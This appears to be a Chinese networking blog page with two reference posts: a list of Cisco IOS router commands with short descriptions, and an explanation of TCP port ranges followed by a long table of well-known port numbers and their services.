Show?cdp?interface?顯示打開的CDP接口信息
Show?cdp?neighbors?顯示CDP查找進程的結果
Show?dialer?顯示為DDR（數字數據接受器）設置的串行接口的一般診斷信息
Show?flash?顯示閃存的布局和內容信息
Show?frame-relay?lmi?顯示關于本地管理接口（LMI）的統計信息
Show?frame-relay?map?顯示關于連接的當前映射入口和信息
Show?frame-relay?pvc?顯示關于幀中繼接口的永久虛電路（pvc）的統計信息
Show?hosts?顯示主機名和地址的緩存列表
Show?interfaces?顯示設置在路由器和訪問服務器上所有接口的統計信息
Show?interfaces?顯示路由器上配置的所有接口的狀態
Show?interfaces?serial?顯示關于一個串口的信息
Show?ip?interface?列出一個接口的IP信息和狀態的小結
Show?ip?interface?列出接口的狀態和全局參數
Show?ip?protocols?顯示活動路由協議進程的參數和當前狀態
Show?ip?route?顯示路由選擇表的當前狀態
Show?ip?router?顯示IP路由表信息
Show?ipx?interface?顯示Cisco?IOS軟件設置的IPX接口的狀態以及每個接口中的參數
Show?ipx?route?顯示IPX路由選擇表的內容
Show?ipx?servers?顯示IPX服務器列表
Show?ipx?traffic?顯示數據包的數量和類型
Show?isdn?active?顯示當前呼叫的信息，包括被叫號碼、建立連接前所花費的時間、在呼叫期間使用的自動化操作控制（AOC）收費單元以及是否在呼叫期間和呼叫結束時提供AOC信息
Show?isdn?ststus?顯示所有isdn接口的狀態、或者一個特定的數字信號鏈路（DSL）的狀態或者一個特定isdn接口的狀態
Show?memory?顯示路由器內存的大小，包括空閑內存的大小
Show?processes?顯示路由器的進程
Show?protocols?顯示設置的協議
Show?protocols?顯示配置的協議。這條命令顯示任何配置了的第3層協議的狀態
Show?running-config?顯示RAM中的當前配置信息
Show?spantree?顯示關于虛擬局域網（VLAN）的生成樹信息
Show?stacks?監控和中斷程序對堆棧的使用，并顯示系統上一次重啟的原因
Show?startup-config?顯示NVRAM中的啟動配置文件
Show?ststus?顯示ISDN線路和兩個B信道的當前狀態
Show?version?顯示系統硬件的配置，軟件的版本，配置文件的名稱和來源及引導映像
Shutdown?關閉一個接口
Telnet?開啟一個telect連接
Term?ip?指定當前會話的網絡掩碼的格式
Term?ip?netmask-format?規定了在show命令輸出中網絡掩碼顯示的格式
Timers?basic?控制著IGRP以多少時間間隔發送更新信息
Trace?跟蹤IP路由
Username?password?規定了在CHAP和PAP呼叫者身份驗證過程中使用的密碼
Verify?檢驗flash文件
Where?顯示活動連接
Which-route?OSI路由表查找和顯示結果
Write?運行的配置信息寫入內存，網絡或終端
Write?erase?現在由copy?startup-config命令替換
X3?在PAD上設置X.3參數
Xremote?進入XRemote模式
Fantasy?發表于2006-01-04 04:59:22?181?人閱讀?0?條評論??瀏覽全文??我要評論

2005-10-02　端口知識

再介紹端口前，先看一下端口的基本知道吧。?
1.公認端口（Well?Known?Ports）：從0到1023，它們緊密綁定于一些服務。通常這些端口的通訊明確表明了某種服務的協議。例如：80端口實際上總是HTTP通訊。?
2.?注冊端口（Registered?Ports）：從1024到49151。它們松散地綁定于一些服務。也就是說有許多服務綁定于這些端口，這些端口同樣用于許多其它目的。例如：許多系統處理動態端口從1024左右開始。?
3.?動態和/或私有端口（Dynamic?and/or?Private?Ports）：從49152到65535。理論上，不應為服務分配這些端口。實際上，機器通常從1024起分配動態端口。但也有例外：SUN的RPC端口從32768開始。?
1　tcpmux　TCP?Port?Service?Multiplexer?傳輸控制協議端口服務多路開關選擇器?
2　compressnet　Management?Utility　　　　?compressnet?管理實用程序?
3　compressnet　Compression?Process　　　　壓縮進程?
5　rje　Remote?Job?Entry　　　　　　　　　?遠程作業登錄?
7　echo　Echo　　　　　　　　　　　　　　　回顯?
9　discard　Discard　　　　　　　　　　　　丟棄?
11　systat　Active?Users　　　　　　　　　?在線用戶?
13　daytime　Daytime　　　　　　　　　　　?時間?
17　qotd　Quote?of?the?Day　　　　　　　　?每日引用?
18　msp　Message?Send?Protocol　　　　　　?消息發送協議?
19　chargen　Character?Generator　　　　　?字符發生器?
20　ftp-data　File?Transfer?[Default?Data]　文件傳輸協議(默認數據口)　?
21　ftp　File?Transfer?[Control]　　　　　　文件傳輸協議(控制)?
22　ssh　SSH?Remote?Login?Protocol　　　　?SSH遠程登錄協議?
23　telnet　Telnet　　　　　　　　　　　　?終端仿真協議?
24　?　any?private?mail?system　　　　　　?預留給個人用郵件系統?
25　smtp　Simple?Mail?Transfer　　　　　　?簡單郵件發送協議?
27　nsw-fe　NSW?User?System?FE　　　　　　?NSW?用戶系統現場工程師?
29　msg-icp　MSG?ICP　　　　　　　　　　　?MSG　ICP?
31　msg-auth　MSG?Authentication　　　　　?MSG驗證?
33　dsp　Display?Support?Protocol　　　　　顯示支持協議?
35　?　any?private?printer?server　　　　　預留給個人打印機服務?
37　time　Time　　　　　　　　　　　　　　?時間?
38　rap　Route?Access?Protocol　　　　　　?路由訪問協議?
39　rlp　Resource?Location?Protocol　　　　資源定位協議?
41　graphics　Graphics　　　　　　　　　　?圖形?
42　nameserver　WINS?Host?Name?Server　　　WINS?主機名服務?
43　nicname　Who?Is　　　　　　　　　　　　"綽號"?who?is服務?
44　mpm-flags　MPM?FLAGS?Protocol　　　　　MPM(消息處理模塊)標志協議?
45　mpm　Message?Processing?Module?[recv]　消息處理模塊　?
46　mpm-snd　MPM?[default?send]　　　　　　消息處理模塊(默認發送口)?
47　ni-ftp　NI?FTP　　　　　　　　　　　　?NI?FTP?
48　auditd　Digital?Audit?Daemon　　　　　?數碼音頻后臺服務　?
49　tacacs　Login?Host?Protocol?(TACACS)　?TACACS登錄主機協議?
50　re-mail-ck　Remote?Mail?Checking?Protocol　遠程郵件檢查協議?
51　la-maint　IMP?Logical?Address?Maintenance　IMP(接口信息處理機)邏輯地址維護?
52　xns-time　XNS?Time?Protocol　　　　　　施樂網絡服務系統時間協議　　?
53　domain　Domain?Name?Server　　　　　　?域名服務器?
54　xns-ch　XNS?Clearinghouse　　　　　　　施樂網絡服務系統票據交換?
55　isi-gl　ISI?Graphics?Language　　　　　ISI圖形語言?
56　xns-auth　XNS?Authentication　　　　　?施樂網絡服務系統驗證?
57　?　any?private?terminal?access　　　　?預留個人用終端訪問?
58　xns-mail　XNS?Mail　　　　　　　　　　?施樂網絡服務系統郵件?
59　?　any?private?file?service　　　　　　預留個人文件服務?
60　?　Unassigned　　　　　　　　　　　　　未定義?
61　ni-mail　NI?MAIL　　　　　　　　　　　?NI郵件??
62　acas　ACA?Services　　　　　　　　　　?異步通訊適配器服務?
63　whois+?whois+　　　　　　　　　　　　　?WHOIS+?
64　covia　Communications?Integrator?(CI)　通訊接口　?
65　tacacs-ds　TACACS-Database?Service　　?TACACS數據庫服務?
66　sql*net　Oracle?SQL*NET　　　　　　　　Oracle?SQL*NET?
67　bootps　Bootstrap?Protocol?Server　　　引導程序協議服務端?
68　bootpc　Bootstrap?Protocol?Client　　　引導程序協議客戶端?
69　tftp　Trivial?File?Transfer　　　　　　小型文件傳輸協議?
70　gopher　Gopher　　　　　　　　　　　　?信息檢索協議?
71　netrjs-1　Remote?Job?Service　　　　　?遠程作業服務?
72　netrjs-2　Remote?Job?Service　　　　　?遠程作業服務?
73　netrjs-3　Remote?Job?Service　　　　　?遠程作業服務?
74　netrjs-4　Remote?Job?Service　　　　　?遠程作業服務?
75　?　any?private?dial?out?service　　　　預留給個人撥出服務?
76　deos　Distributed?External?Object?Store?分布式外部對象存儲　?
77　?　any?private?RJE?service　　　　　　預留給個人遠程作業輸入服務?
78　vettcp　vettcp　　　　　　　　　　　　?修正TCP??
79　finger　Finger　　　　　　　　　　　　?FINGER(查詢遠程主機在線用戶等信息)?
80　http　World?Wide?Web?HTTP　　　　　　　全球信息網超文本傳輸協議?
81　hosts2-ns　HOSTS2?Name?Server　　　　　HOST2名稱服務?
82　xfer　XFER?Utility　　　　　　　　　　?傳輸實用程序?
83　mit-ml-dev　MIT?ML?Device　　　　　　　模塊化智能終端ML設備?
84　ctf　Common?Trace?Facility　　　　　　?公用追蹤設備?
85　mit-ml-dev　MIT?ML?Device　　　　　　　模塊化智能終端ML設備?
86　mfcobol　Micro?Focus?Cobol　　　　　　?Micro?Focus?Cobol編程語言?
87　?　any?private?terminal?link　　　　　?預留給個人終端連接?
88　kerberos　Kerberos　　　　　　　　　　?Kerberros安全認證系統?
89　su-mit-tg　SU/MIT?Telnet?Gateway　　　?SU/MIT終端仿真網關?
90　dnsix　DNSIX?Securit?Attribute?Token?Map　DNSIX?安全屬性標記圖　?
91　mit-dov　MIT?Dover?Spooler　　　　　　?MIT?Dover假脫機?
92　npp　Network?Printing?Protocol　　　　?網絡打印協議?
93　dcp　Device?Control?Protocol　　　　　?設備控制協議?
94　objcall　Tivoli?Object?Dispatcher　　　Tivoli對象調度?
95　supdup　SUPDUP　　　　　　　　　　　　?
96　dixie　DIXIE?Protocol?Specification　　DIXIE協議規范?
97　swift-rvf　Swift?Remote?Virtural?File?Protocol　快速遠程虛擬文件協議　?
98　tacnews　TAC?News　　　　　　　　　　　TAC(東京大學自動計算機?)新聞協議?
99　metagram　Metagram?Relay　　　　　　　?



101/tcp?hostname?NIC?Host?Name?Server?
102/tcp?iso-tsap?ISO-TSAP?Class?0?
103/tcp?gppitnp?Genesis?Point-to-Point?Trans?Net?
104/tcp?acr-nema?ACR-NEMA?Digital?Imag.?&?Comm.?300?
105/tcp?cso?CCSO?name?server?protocol?
105/tcp?csnet-ns?Mailbox?Name?Nameserver?
106/tcp?3com-tsmux?3COM-TSMUX?
107/tcp?rtelnet?Remote?Telnet?Service?
108/tcp?snagas?SNA?Gateway?Access?Server?
109/tcp?pop2?Post?Office?Protocol?-?Version?2?
110/tcp?pop3?Post?Office?Protocol?-?Version?3?
111/tcp?sunrpc?SUN?Remote?Procedure?Call?
112/tcp?mcidas?McIDAS?Data?Transmission?Protocol?
113/tcp?ident?
114/tcp?audionews?Audio?News?Multicast?
115/tcp?sftp?Simple?File?Transfer?Protocol?
116/tcp?ansanotify?ANSA?REX?Notify?
117/tcp?uucp-path?UUCP?Path?Service?
118/tcp?sqlserv?SQL?Services?
119/tcp?nntp?Network?News?Transfer?Protocol?
120/tcp?cfdptkt?CFDPTKT?
121/tcp?erpc?Encore?Expedited?Remote?Pro.Call?
122/tcp?smakynet?SMAKYNET?
123/tcp?ntp?Network?Time?Protocol?
124/tcp?ansatrader?ANSA?REX?Trader?
125/tcp?locus-map?Locus?PC-Interface?Net?Map?Ser?
126/tcp?unitary?Unisys?Unitary?Login?
127/tcp?locus-con?Locus?PC-Interface?Conn?Server?
128/tcp?gss-xlicen?GSS?X?License?Verification?
129/tcp?pwdgen?Password?Generator?Protocol?
130/tcp?cisco-fna?cisco?FNATIVE?
131/tcp?cisco-tna?cisco?TNATIVE?
132/tcp?cisco-sys?cisco?SYSMAINT?
133/tcp?statsrv?Statistics?Service?
134/tcp?ingres-net?INGRES-NET?Service?
135/tcp?epmap?DCE?endpoint?resolution?
136/tcp?profile?PROFILE?Naming?System?
137/tcp?netbios-ns?NETBIOS?Name?Service?
138/tcp?netbios-dgm?NETBIOS?Datagram?Service?
139/tcp?netbios-ssn?NETBIOS?Session?Service?
140/tcp?emfis-data?EMFIS?Data?Service?
141/tcp?emfis-cntl?EMFIS?Control?Service?
142/tcp?bl-idm?Britton-Lee?IDM?
143/tcp?imap?Internet?Message?Access?Protocol?
144/tcp?uma?Universal?Management?Architecture?
145/tcp?uaac?UAAC?Protocol?
146/tcp?iso-tp0?ISO-IP0?
147/tcp?iso-ip?ISO-IP?
148/tcp?jargon?Jargon?
149/tcp?aed-512?AED?512?Emulation?Service?
150/tcp?sql-net?SQL-NET?
151/tcp?hems?HEMS?
152/tcp?bftp?Background?File?Transfer?Program?
153/tcp?sgmp?SGMP?
154/tcp?netsc-prod?NETSC?
155/tcp?netsc-dev?NETSC?
156/tcp?sqlsrv?SQL?Service?
157/tcp?knet-cmp?KNET/VM?Command/Message?Protocol?
158/tcp?pcmail-srv?PCMail?Server?
159/tcp?nss-routing?NSS-Routing?
160/tcp?sgmp-traps?SGMP-TRAPS?
161/tcp?snmp?SNMP?
162/tcp?snmptrap?SNMPTRAP?
163/tcp?cmip-man?CMIP/TCP?Manager?
164/tcp?cmip-agent?CMIP/TCP?Agent?
165/tcp?xns-courier?Xerox?
166/tcp?s-net?Sirius?Systems?
167/tcp?namp?NAMP?
168/tcp?rsvd?RSVD?
169/tcp?send?SEND?
170/tcp?print-srv?Network?Post.?
171/tcp?multiplex?Network?Innovations?Multiplex?
172/tcp?cl/1?Network?Innovations?CL/1?
173/tcp?xyplex-mux?Xyplex?
174/tcp?mailq?MAILQ?
175/tcp?vmnet?VMNET?
176/tcp?genrad-mux?GENRAD-MUX?
177/tcp?xdmcp?X?Display?Manager?Control?Protocol?
178/tcp?nextstep?NextStep?Window?Server?
179/tcp?bgp?Border?Gateway?Protocol?
180/tcp?ris?Intergraph?
181/tcp?unify?Unify?
182/tcp?audit?Unisys?Audit?SITP?
183/tcp?ocbinder?OCBinder?
184/tcp?ocserver?OCServer?
185/tcp?remote-kis?Remote-KIS?
186/tcp?kis?KIS?Protocol?
187/tcp?aci?Application?Communication?Interface?
188/tcp?mumps?Plus?Five‘s?MUMPS?
189/tcp?qft?Queued?File?Transport?
190/tcp?gacp?Gateway?Access?Control?Protocol?
191/tcp?prospero?Prospero?Directory?Service?
192/tcp?osu-nms?OSU?Network?Monitoring?System?
193/tcp?srmp?Spider?Remote?Monitoring?Protocol?
194/tcp?irc?Internet?Relay?Chat?Protocol?
195/tcp?dn6-nlm-aud?DNSIX?Network?Level?Module?Audit?
196/tcp?dn6-smm-red?DNSIX?Session?Mgt?Module?Audit?Redir?
197/tcp?dls?Directory?Location?Service?
198/tcp?dls-mon?Directory?Location?Service?Monitor?
199/tcp?smux?SMUX?
200/tcp?src?IBM?System?Resource?Controller?
201/tcp?at-rtmp?AppleTalk?Routing?Maintenance?
202/tcp?at-nbp?AppleTalk?Name?Binding?
203/tcp?at-3?AppleTalk?Unused?
204/tcp?at-echo?AppleTalk?Echo?
205/tcp?at-5?AppleTalk?Unused?
206/tcp?at-zis?AppleTalk?Zone?Information?
207/tcp?at-7?AppleTalk?Unused?
208/tcp?at-8?AppleTalk?Unused?
209/tcp?qmtp?The?Quick?Mail?Transfer?Protocol?
210/tcp?z39.50?ANSI?Z39.50?
211/tcp?914c/g?Texas?Instruments?914C/G?Terminal?
212/tcp?anet?ATEXSSTR?
214/tcp?vmpwscs?VM?PWSCS?
215/tcp?softpc?Insignia?Solutions?
216/tcp?CAIlic?Computer?Associates?Int‘l?License?Server?
217/tcp?dbase?dBASE?Unix?
218/tcp?mpp?Netix?Message?Posting?Protocol?
219/tcp?uarps?Unisys?ARPs?
220/tcp?imap3?Interactive?Mail?Access?Protocol?v3?
221/tcp?fln-spx?Berkeley?rlogind?with?SPX?auth?
222/tcp?rsh-spx?Berkeley?rshd?with?SPX?auth?
223/tcp?cdc?Certificate?Distribution?Center?
242/tcp?direct?Direct?
243/tcp?sur-meas?Survey?Measurement?
244/tcp?dayna?Dayna?
245/tcp?link?LINK?
246/tcp?dsp3270?Display?Systems?Protocol?
247/tcp?subntbcst_tftp?SUBNTBCST_TFTP?
248/tcp?bhfhs?bhfhs?
256/tcp?rap?RAP?
257/tcp?set?Secure?Electronic?Transaction?
258/tcp?yak-chat?Yak?Winsock?Personal?Chat?
259/tcp?esro-gen?Efficient?Short?Remote?Operations?
260/tcp?openport?Openport?
263/tcp?hdap?HDAP?
264/tcp?bgmp?BGMP?
280/tcp?http-mgmt?http-mgmt?
309/tcp?entrusttime?EntrustTime?
310/tcp?bhmds?bhmds?
312/tcp?vslmp?VSLMP?
315/tcp?dpsi?DPSI?
316/tcp?decauth?decAuth?
317/tcp?zannet?Zannet?
321/tcp?pip?PIP?
344/tcp?pdap?Prospero?Data?Access?Protocol?
345/tcp?pawserv?Perf?Analysis?Workbench?
346/tcp?zserv?Zebra?server?
347/tcp?fatserv?Fatmen?Server?
348/tcp?csi-sgwp?Cabletron?Management?Protocol?
349/tcp?mftp?mftp?
351/tcp?matip-type-b?MATIP?Type?B?
351/tcp?bhoetty?bhoetty?(added?5/21/97)?
353/tcp?ndsauth?NDSAUTH?
354/tcp?bh611?bh611?
357/tcp?bhevent?bhevent?
362/tcp?srssend?SRS?Send?
365/tcp?dtk?DTK?
366/tcp?odmr?ODMR?
368/tcp?qbikgdp?QbikGDP?
371/tcp?clearcase?Clearcase?
372/tcp?ulistproc?ListProcessor?
373/tcp?legent-1?Legent?Corporation?
374/tcp?legent-2?



374/tcp?legent-2?Legent?Corporation?
375/tcp?hassle?Hassle?
376/tcp?nip?Amiga?Envoy?Network?Inquiry?Proto?
377/tcp?tnETOS?NEC?Corporation?
378/tcp?dsETOS?NEC?Corporation?
379/tcp?is99c?TIA/EIA/IS-99?modem?client?
380/tcp?is99s?TIA/EIA/IS-99?modem?server?
381/tcp?hp-collector?hp?performance?data?collector?
383/tcp?hp-alarm-mgr?hp?performance?data?alarm?manager?
384/tcp?arns?A?Remote?Network?Server?System?
385/tcp?ibm-app?IBM?Application?
386/tcp?asa?ASA?Message?Router?Object?Def.?
387/tcp?aurp?Appletalk?Update-Based?Routing?Pro.?
388/tcp?unidata-ldm?Unidata?LDM?Version?4?
389/tcp?ldap?Lightweight?Directory?Access?Protocol?
390/tcp?uis?UIS?
391/tcp?synotics-relay?SynOptics?SNMP?Relay?Port?
393/tcp?dis?Data?Interpretation?System?
394/tcp?embl-ndt?EMBL?Nucleic?Data?Transfer?
395/tcp?netcp?NETscout?Control?Protocol?
396/tcp?netware-ip?Novell?Netware?over?IP?
397/tcp?mptn?Multi?Protocol?Trans.?Net.?
398/tcp?kryptolan?Kryptolan?
399/tcp?iso-tsap-c2?ISO?Transport?Class?2?Non-Control?over?TCP?
400/tcp?work-sol?Workstation?Solutions?
401/tcp?ups?Uninterruptible?Power?Supply?
402/tcp?genie?Genie?Protocol?
403/tcp?decap?decap?
404/tcp?nced?nced?
405/tcp?ncld?ncld?
406/tcp?imsp?Interactive?Mail?Support?Protocol?
407/tcp?timbuktu?Timbuktu?
408/tcp?prm-sm?Prospero?Resource?Manager?Sys.?Man.?
409/tcp?prm-nm?Prospero?Resource?Manager?Node?Man.?
410/tcp?decladebug?DECLadebug?Remote?Debug?Protocol?
411/tcp?rmt?Remote?MT?Protocol?
412/tcp?synoptics-trap?Trap?Convention?Port?
413/tcp?smsp?SMSP?
414/tcp?infoseek?InfoSeek?
415/tcp?bnet?BNet?
416/tcp?silverplatter?Silverplatter?
417/tcp?onmux?Onmux?
418/tcp?hyper-g?Hyper-G?
419/tcp?ariel1?Ariel?
420/tcp?smpte?SMPTE?
421/tcp?ariel2?Ariel?
422/tcp?ariel3?Ariel?
423/tcp?opc-job-start?IBM?Operations?Planning?and?Control?Start?
424/tcp?opc-job-track?IBM?Operations?Planning?and?Control?Track?
425/tcp?icad-el?ICAD?
426/tcp?smartsdp?smartsdp?
427/tcp?svrloc?Server?Location?
428/tcp?ocs_cmu?OCS_CMU?
429/tcp?ocs_amu?OCS_AMU?
430/tcp?utmpsd?UTMPSD?
431/tcp?utmpcd?UTMPCD?
432/tcp?iasd?IASD?
433/tcp?nnsp?NNSP?
434/tcp?mobileip-agent?MobileIP-Agent?
435/tcp?mobilip-mn?MobilIP-MN?
436/tcp?dna-cml?DNA-CML?
437/tcp?comscm?comscm?
438/tcp?dsfgw?dsfgw?
439/tcp?dasp?dasp?Thomas?Obermair?
440/tcp?sgcp?sgcp?
441/tcp?decvms-sysmgt?decvms-sysmgt?
442/tcp?cvc_hostd?cvc_hostd?
443/tcp?https?http?protocol?over?TLS/SSL?
444/tcp?snpp?Simple?Network?Paging?Protocol?
445/tcp?microsoft-ds?Microsoft-DS?
446/tcp?ddm-rdb?DDM-RDB?
447/tcp?ddm-dfm?DDM-RFM?
448/tcp?ddm-ssl?DDM-SSL?
449/tcp?as-servermap?AS?Server?Mapper?
450/tcp?tserver?TServer?
451/tcp?sfs-smp-net?Cray?Network?Semaphore?server?
453/tcp?creativeserver?CreativeServer?
454/tcp?contentserver?ContentServer?
455/tcp?creativepartnr?CreativePartnr?
456/tcp?macon-tcp?macon-tcp?
457/tcp?scohelp?scohelp?
458/tcp?appleqtc?apple?quick?time?
459/tcp?ampr-rcmd?ampr-rcmd?
460/tcp?skronk?skronk?
461/tcp?datasurfsrv?DataRampSrv?
462/tcp?datasurfsrvsec?DataRampSrvSec?
463/tcp?alpes?alpes?
464/tcp?kpasswd?kpasswd?
465/tcp?smtps?smtp?protocol?over?TLS/SSL?(was?ssmtp)?
466/tcp?digital-vrc?digital-vrc?
467/tcp?mylex-mapd?mylex-mapd?
468/tcp?photuris?proturis?
469/tcp?rcp?Radio?Control?Protocol?
470/tcp?scx-proxy?scx-proxy?
471/tcp?mondex?Mondex?
472/tcp?ljk-login?ljk-login?
473/tcp?hybrid-pop?hybrid-pop?
474/tcp?tn-tl-w1?tn-tl-w1?
475/tcp?tcpnethaspsrv?tcpnethaspsrv?
476/tcp?tn-tl-fd1?tn-tl-fd1?
477/tcp?ss7ns?ss7ns?
478/tcp?spsc?spsc?
479/tcp?iafserver?iafserver?
480/tcp?iafdbase?iafdbase?
481/tcp?ph?Ph?service?
482/tcp?bgs-nsi?bgs-nsi?
483/tcp?ulpnet?ulpnet?
484/tcp?integra-sme?Integra?Software?Management?Environment?
485/tcp?powerburst?Air?Soft?Power?Burst?
486/tcp?avian?avian?
487/tcp?saft?saft?Simple?Asynchronous?File?Transfer?
488/tcp?gss-http?gss-http?
489/tcp?nest-protocol?nest-protocol?
490/tcp?micom-pfs?micom-pfs?
491/tcp?go-login?go-login?
492/tcp?ticf-1?Transport?Independent?Convergence?for?FNA?
493/tcp?ticf-2?Transport?Independent?Convergence?for?FNA?
494/tcp?pov-ray?POV-Ray?
495/tcp?intecourier?intecourier?
496/tcp?pim-rp-disc?PIM-RP-DISC?
497/tcp?dantz?dantz?
498/tcp?siam?siam?
499/tcp?iso-ill?ISO?ILL?Protocol?
500/tcp?isakmp?isakmp?
501/tcp?stmf?STMF?
502/tcp?asa-appl-proto?asa-appl-proto?
503/tcp?intrinsa?Intrinsa?
504/tcp?citadel?citadel?
505/tcp?mailbox-lm?mailbox-lm?
506/tcp?ohimsrv?ohimsrv?
507/tcp?crs?crs?
508/tcp?xvttp?xvttp?
509/tcp?snare?snare?
510/tcp?fcp?FirstClass?Protocol?
511/tcp?passgo?PassGo?
512/tcp?exec?remote?process?execution;?
513/tcp?login?remote?login?a?la?telnet;?
514/tcp?shell?cmd?
515/tcp?printer?spooler?
516/tcp?videotex?videotex?
517/tcp?talk?like?tenex?link,?but?across?
518/tcp?ntalk?
519/tcp?utime?unixtime?
520/tcp?efs?extended?file?name?server?
521/tcp?ripng?ripng?
522/tcp?ulp?ULP?
523/tcp?ibm-db2?IBM-DB2?
524/tcp?ncp?NCP?
525/tcp?timed?timeserver?
526/tcp?tempo?newdate?
527/tcp?stx?Stock?IXChange?
528/tcp?custix?Customer?IXChange?
529/tcp?irc-serv?IRC-SERV?
530/tcp?courier?rpc?
531/tcp?conference?chat?
532/tcp?netnews?readnews?
533/tcp?netwall?for?emergency?broadcasts?
534/tcp?mm-admin?MegaMedia?Admin?
535/tcp?iiop?iiop?
536/tcp?opalis-rdv?opalis-rdv?
537/tcp?nmsp?Networked?Media?Streaming?Protocol?
538/tcp?gdomap?gdomap?
539/tcp?apertus-ldp?Apertus?Technologies?Load?Determination?
540/tcp?uucp?uucpd?
541/tcp?uucp-rlogin?uucp-rlogin?
542/tcp?commerce?commerce?
543/tcp?klogin?
544/tcp?kshell?krcmd?
545/tcp?appleqtcsrvr?appleqtcsrvr?
546/tcp?dhcpv6-client?DHCPv6?Client?
547/tcp?dhcpv6-server?DHCPv6?Server?
548/tcp?afpovertcp?AFP?over?TCP?
549/tcp?idfp?IDFP?
550/tcp?new-rwho?new-who?
551/tcp?cybercash?cybercash?
552/tcp?deviceshare?deviceshare?
553/tcp?pirp?pirp?
554/tcp?rtsp?Real?Time?Stream?Control?Protocol?
555/tcp?dsf?
556/tcp?remotefs?rfs?server?
557/tcp?openvms-sysipc?openvms-sysipc?
558/tcp?sdnskmp?SDNSKMP?
559/tcp?teedtap?TEEDTAP?
560/tcp?rmonitor?rmonitord?
561/tcp?monitor?
562/tcp?chshell?chcmd?
563/tcp?nntps?nntp?protocol?over?TLS/SSL?(was?snntp)?
564/tcp?9pfs?plan?9?file?service?
565/tcp?whoami?whoami?
566/tcp?streettalk?streettalk?
567/tcp?banyan-rpc?banyan-rpc?
568/tcp?ms-shuttle?microsoft?shuttle?
569/tcp?ms-rome?microsoft?rome?
570/tcp?meter?demon?
571/tcp?meter?udemon?
572/tcp?sonar?sonar?
573/tcp?banyan-vip?banyan-vip?
574/tcp?ftp-agent?FTP?Software?Agent?System?
575/tcp?vemmi?VEMMI?
576/tcp?ipcd?ipcd?
577/tcp?vnas?vnas?
578/tcp?ipdd?ipdd?
579/tcp?decbsrv?decbsrv?
581/tcp?bdp?Bundle?Discovery?Protocol?
588/tcp?cal?CAL?
589/tcp?eyelink?EyeLink?
590/tcp?tns-cml?TNS?CML?
593/tcp?http-rpc-epmap?HTTP?RPC?Ep?Map?
594/tcp?tpip?TPIP?
596/tcp?smsd?SMSD?
599/tcp?acp?Aeolon?Core?Protocol?
600/tcp?ipcserver?Sun?IPC?server?
606/tcp?urm?Cray?Unified?Resource?Manager?
607/tcp?nqs?nqs?
608/tcp?sift-uft?Sender-Initiated/Unsolicited?File?Transfer?
609/tcp?npmp-trap?npmp-trap?
610/tcp?npmp-local?npmp-local?
611/tcp?npmp-gui?npmp-gui?
613/tcp?hmmp-op?HMMP?Operation?
620/tcp?sco-websrvrmgr?SCO?WebServer?Manager?
621/tcp?escp-ip?ESCP?
625/tcp?dec_dlm?DEC?DLM?
626/tcp?asia?ASIA?
628/tcp?qmqp?QMQP?
630/tcp?rda?RDA?
631/tcp?ipp?IPP?(Internet?Printing?Protocol)?
632/tcp?bmpp?bmpp?
634/tcp?ginad?ginad?
635/tcp?rlzdbase?RLZ?DBase?
636/tcp?ldaps?ldap?protocol?over?TLS/SSL?(was?sldap)?
637/tcp?lanserver?lanserver?
639/tcp?msdp?MSDP?
666/tcp?doom?doom?Id?Software?
667/tcp?disclose?campaign?contribution?disclosures?-?SDR?Technologies?
668/tcp?mecomm?MeComm?
669/tcp?meregister?MeRegister?
670/tcp?vacdsm-sws?VACDSM-SWS?
671/tcp?vacdsm-app?VACDSM-APP?
672/tcp?vpps-qua?VPPS-QUA?
673/tcp?cimplex?CIMPLEX?
674/tcp?acap?ACAP?
675/tcp?dctp?DCTP?
704/tcp?elcsd?errlog?copy/server?daemon?
705/tcp?agentx?AgentX?
709/tcp?entrust-kmsh?Entrust?Key?Management?Service?Handler?
710/tcp?entrust-ash?Entrust?Administration?Service?Handler?
729/tcp?netviewdm1?IBM?NetView?DM/6000?Server/Client?
730/tcp?netviewdm2?IBM?NetView?DM/6000?send/tcp?
731/tcp?netviewdm3?IBM?NetView?DM/6000?receive/tcp?
741/tcp?netgw?netGW?
742/tcp?netrcs?Network?based?Rev.?Cont.?Sys.?
744/tcp?flexlm?Flexible?License?Manager?
747/tcp?fujitsu-dev?Fujitsu?Device?Control?
748/tcp?ris-cm?Russell?Info?Sci?Calendar?Manager?
749/tcp?kerberos-adm?kerberos?administration?
750/tcp?rfile?
751/tcp?pump?
752/tcp?qrh?
753/tcp?rrh?
754/tcp?tell?send?
758/tcp?nlogin?
759/tcp?con?
760/tcp?ns?
761/tcp?rxe?
762/tcp?quotad?
763/tcp?cycleserv?
764/tcp?omserv?
765/tcp?webster?
769/tcp?vid?
770/tcp?cadlock?
771/tcp?rtip?
772/tcp?cycleserv2?
773/tcp?submit?
774/tcp?rpasswd?
776/tcp?wpages?
780/tcp?wpgs?
786/tcp?concert?Concert?
787/tcp?qsc?QSC?
801/tcp?device?
873/tcp?rsync?rsync?
886/tcp?iclcnet-locate?ICL?coNETion?locate?server?
887/tcp?iclcnet_svinfo?ICL?coNETion?server?info?
888/tcp?accessbuilder?AccessBuilder?
900/tcp?omginitialrefs?OMG?Initial?Refs?
911/tcp?xact-backup?xact-backup?
990/tcp?ftps?ftp?protocol,?control,?over?TLS/SSL?
991/tcp?nas?Netnews?Administration?System?
992/tcp?telnets?telnet?protocol?over?TLS/SSL?
993/tcp?imaps?imap4?protocol?over?TLS/SSL?
994/tcp?ircs?irc?protocol?over?TLS/SSL?
995/tcp?pop3s?pop3?protocol?over?TLS/SSL?(was?spop3)?
996/tcp?vsinet?vsinet?
997/tcp?maitrd?
998/tcp?busboy?
999/tcp?garcon?1000/tcp?cadlock?
1010/tcp?surf?surf?
1023/tcp?Reserved?Reserved?
1030/tcp?iad1?BBN?IAD?
1031/tcp?iad2?BBN?IAD?
1032/tcp?iad3?BBN?IAD?
1047/tcp?neod1?Sun‘s?NEO?Object?Request?Broker?
1048/tcp?neod2?Sun‘s?NEO?Object?Request?Broker?
1058/tcp?nim?nim?
1059/tcp?nimreg?nimreg?
1067/tcp?instl_boots?Installation?Bootstrap?Proto.?Serv.?
1068/tcp?instl_bootc?Installation?Bootstrap?Proto.?Cli.?
1080/tcp?socks?Socks?
1083/tcp?ansoft-lm-1?Anasoft?License?Manager?
1084/tcp?ansoft-lm-2?Anasoft?License?Manager?
1123/tcp?murray?Murray?
1155/tcp?nfa?Network?File?Access?
1212/tcp?lupa?lupa?
1222/tcp?nerv?SNI?R&D?network?
1239/tcp?nmsd?NMSD?
1248/tcp?hermes?
1313/tcp?bmc_patroldb?BMC_PATROLDB?
1314/tcp?pdps?Photo.?Distributed?Printing?System?
1321/tcp?pip?PIP?
1345/tcp?vpjp?VPJP?
